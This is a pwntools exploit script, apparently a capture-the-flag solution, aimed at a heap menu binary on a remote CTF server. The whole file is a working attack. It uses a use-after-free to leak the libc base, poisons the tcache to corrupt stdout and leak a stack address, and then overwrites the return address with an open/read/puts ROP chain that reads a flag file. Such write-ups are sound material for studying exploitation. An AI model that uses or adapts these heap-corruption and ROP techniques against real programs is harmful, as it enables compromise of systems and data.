1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
| from pwn import *
context.arch = 'amd64'
context.terminal = ['gnome-terminal', '-e']
local_file = '/home/feichai/ctf_file/pwn'
elf=ELF(local_file)
local_libc = '/home/feichai/ctf_file/libc.so.6'
libc=ELF(local_libc, checksec = False)
def start():
if args.GDB:
gdbscript = '''
b *$rebase(0x1498)
'''
io = process(local_file)
gdb.attach(io, gdbscript)
elif args.PROCESS:
io = process(local_file)
else:
io = remote("node4.anna.nssctf.cn",28685)
return io
def lg(s, addr):
return info(f'\033[1;33m{f"{s}-->0x{addr:02x}"}\033[0m')
r = lambda a: io.recv(a)
ru = lambda a: io.recvuntil(a)
s = lambda a: io.send(a)
sa = lambda a,b: io.sendafter(a,b)
sl = lambda a: io.sendline(a)
sla = lambda a,b: io.sendlineafter(a,b)
io = start()
def choice(index):
sla('Choice: ',str(index))
def add(size, content='aaaa'):
choice(1)
sla('size: ',str(size))
sa('content: ',content)
def free(idx):
choice(2)
sla('idx: ',str(idx))
def show(idx):
choice(3)
sla('idx: ',str(idx))
def uaf(idx):
choice(666)
sla('idx: ',str(idx))
def exp():
for i in range(10):
add(0x80)
for i in range(7):
free(i)
uaf(8)
show(8)
libc_base = u64(ru(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x1ecbe0
lg('libc_base',libc_base)
environ = libc.sym["environ"] + libc_base
setcontext = libc.sym["setcontext"] + 61 + libc_base
stdout = libc.sym[b"_IO_2_1_stdout_"] + libc_base
lg('stdout',stdout)
free(7)
add(0x80)
free(8)
add(0x70)
add(0x70,p64(0)+p64(0x91)+p64(stdout))
add(0x80)
pd = p64(0xfbad1800) + p64(0)*3 + p64(environ) + p64(environ+8)*2
add(0x80,pd)
stack = u64(ru(b'\x7f')[-6:].ljust(8, b'\x00'))
lg('stack',stack)
ret_addr = stack - 0x120
free(3)
free(2)
pd = p64(0) + p64(0x91) + p64(ret_addr - 8)
add(0x70,pd)
pop_rdi = 0x0000000000023b6a + libc_base
pop_rsi = 0x000000000002601f + libc_base
pop_rdx = 0x0000000000142c92 + libc_base
pop_rax = 0x0000000000036174 + libc_base
ret = 0x0000000000022679 + libc_base
open = libc.sym["open"] + libc_base
read = libc.sym["read"] + libc_base
write = libc.sym["write"] + libc_base
puts = libc.sym["puts"] + libc_base
flag = ret_addr-8
orw = b'./flag\x00\x00'
orw += p64(pop_rdi) + p64(flag)
orw += p64(pop_rsi) + p64(0)
orw += p64(open)
orw += p64(pop_rdi) + p64(3)
orw += p64(pop_rsi) + p64(ret_addr+0x200)
orw += p64(pop_rdx) + p64(0x50)
orw += p64(read)
orw += p64(pop_rdi) + p64(ret_addr+0x200)
orw += p64(puts)
add(0x80)
add(0x80,orw)
io.interactive()
if __name__=='__main__':
exp()
|
